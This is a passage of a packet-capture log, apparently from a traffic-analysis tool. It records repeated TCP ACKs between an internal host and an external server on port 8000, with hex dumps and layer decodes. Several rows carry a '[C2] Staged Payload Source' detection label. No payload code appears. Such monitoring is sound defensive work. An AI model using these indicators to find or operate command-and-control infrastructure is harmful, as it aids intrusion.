6, \"\"chksum\"\": 19870, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:05:53.574371,121,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afcd4000800640310a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45005, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16433, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:53.574401,122,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e256400040064d9dc0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.V@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57942, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19869, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:05:54.590034,123,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afce4000800640300a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45006, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16432, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:54.590065,124,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e257400040064d9cc0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.W@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57943, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19868, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:05:55.605689,125,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afcf40008006402f0a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45007, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16431, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:55.605721,126,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e258400040064d9bc0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.X@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57944, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19867, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:05:56.621324,127,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afd040008006402e0a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45008, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16430, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:56.621364,128,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e259400040064d9ac0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.Y@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57945, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19866, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:05:57.621387,129,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afd140008006402d0a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45009, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16429, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:57.621420,130,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e25a400040064d99c0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.Z@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57946, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19865, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:05:58.636958,131,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afd240008006402c0a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45010, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16428, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:58.636980,132,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e25b400040064d98c0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.[@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57947, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19864, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:05:59.652586,133,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afd340008006402b0a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45011, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16427, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:59.652596,134,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e25c400040064d97c0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.\\@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57948, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19863, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:06:00.652602,135,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afd440008006402a0a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45012, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16426, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:00.652613,136,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e25d400040064d96c0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.]@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57949, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19862, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:06:01.652660,137,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afd54000800640290a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45013, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, 